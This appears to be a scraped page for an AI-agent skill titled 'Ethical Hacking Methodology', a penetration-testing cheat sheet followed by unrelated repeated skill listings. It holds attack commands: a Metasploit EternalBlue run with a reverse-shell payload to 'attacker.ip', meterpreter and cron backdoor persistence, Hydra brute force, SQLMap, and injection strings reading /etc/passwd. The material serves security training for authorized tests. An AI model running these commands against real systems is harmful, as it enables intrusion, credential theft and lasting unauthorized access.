This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
npxskills add zebbern/claude-code-guide--skill "Ethical Hacking Methodology"Loading…
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Black Hat Hackers (Malicious)
Grey Hat Hackers (Hybrid)
Other Classifications
Gather information without direct system interaction:
Passive Reconnaissance
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database Categories:
Social Media Reconnaissance
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
Service Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
Common Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web Application Testing (OWASP)
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
Password Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
Establish persistent access:
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
Privilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
Covering Tracks (Ethical Context)
Document findings professionally:
Report Structure
Executive Summary
Technical Findings
Risk Ratings
Remediation Recommendations
Appendices
Phishing
Malware Types
Network Attacks
Install penetration testing platform:
Hard Disk Installation
Live USB (Persistent)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
Legal Requirements
Professional Conduct
| Stage | Purpose | Key Tools |
|---|---|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
| Command | Purpose |
|---|---|
nmap -sV target | Port and service scan |
nikto -h target | Web vulnerability scan |
msfconsole | Start Metasploit |
hydra -l user -P list ssh://target | SSH brute force |
sqlmap -u "url?id=1" --dbs | SQL injection |
Solutions:
Solutions:
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Create or update AgentSkills. Use when designing, structuring, or packaging skills with scripts, references, and assets.
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in (single or multi-account), or reading/injecting/running secrets via op.
CLI to manage emails via IMAP/SMTP. Use `himalaya` to list, read, write, reply, forward, search, and organize emails from the terminal. Supports multiple accounts and message composition with MML (MIME Meta Language).